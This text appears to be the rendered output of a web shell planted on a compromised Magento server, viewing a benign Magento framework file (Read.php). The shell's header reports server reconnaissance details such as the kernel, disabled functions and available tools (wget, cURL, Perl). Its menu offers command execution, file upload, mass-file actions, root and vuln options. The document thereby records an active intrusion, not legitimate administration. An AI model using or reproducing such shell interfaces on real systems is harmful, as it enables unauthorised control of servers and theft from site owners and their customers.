Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 23 Aug 2025 17:33:46
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/EntityManager/Operation/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/EntityManager/Operation/Read.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\EntityManager\Operation; use Magento\Framework\EntityManager\Operation\Read\ReadMain; use Magento\Framework\EntityManager\Operation\Read\ReadAttributes; use Magento\Framework\EntityManager\Operation\Read\ReadExtensions; use Magento\Framework\EntityManager\HydratorPool; use Magento\Framework\EntityManager\MetadataPool; use Magento\Framework\EntityManager\EventManager; use Magento\Framework\EntityManager\TypeResolver; /** * Class Read */ class Read implements ReadInterface { /** * @var MetadataPool */ private $metadataPool; /** * @var HydratorPool */ private $hydratorPool; /** * @var EventManager */ private $eventManager; /** * @var TypeResolver */ private $typeResolver; /** * @var ReadMain */ private $readMain; /** * @var ReadAttributes */ private $readAttributes; /** * @var ReadAttributes */ private $readExtensions; /** * @param MetadataPool $metadataPool * @param HydratorPool $hydratorPool * @param TypeResolver $typeResolver * @param EventManager $eventManager * @param ReadMain $readMain * @param ReadAttributes $readAttributes * @param ReadExtensions $readExtensions */ public function __construct( MetadataPool $metadataPool, HydratorPool $hydratorPool, TypeResolver $typeResolver, EventManager $eventManager, ReadMain $readMain, ReadAttributes $readAttributes, ReadExtensions $readExtensions ) { $this->metadataPool = $metadataPool; $this->hydratorPool = $hydratorPool; $this->typeResolver = $typeResolver; $this->eventManager = $eventManager; $this->readMain = $readMain; $this->readAttributes = $readAttributes; $this->readExtensions = $readExtensions; } /** * {@inheritDoc} */ public function execute($entity, $identifier, $arguments = []) { $entityType = $this->typeResolver->resolve($entity); $metadata = $this->metadataPool->getMetadata($entityType); $hydrator = $this->hydratorPool->getHydrator($entityType); $this->eventManager->dispatch( 'entity_manager_load_before', [ 'entity_type' => $entityType, 'identifier' => $identifier, 'arguments' => $arguments ] ); $this->eventManager->dispatchEntityEvent( $entityType, 'load_before', [ 'identifier' => $identifier, 'entity' => $entity, 'arguments' => $arguments ] ); $entity = $this->readMain->execute($entity, $identifier); $entityData = array_merge($hydrator->extract($entity), $arguments); if (isset($entityData[$metadata->getLinkField()])) { $entity = $this->readAttributes->execute($entity, $arguments); $entity = $this->readExtensions->execute($entity, $arguments); } $this->eventManager->dispatchEntityEvent( $entityType, 'load_after', [ 'entity' => $entity, 'arguments' => $arguments ] ); $this->eventManager->dispatch( 'entity_manager_load_after', [ 'entity_type' => $entityType, 'entity' => $entity, 'arguments' => $arguments ] ); return $entity; } }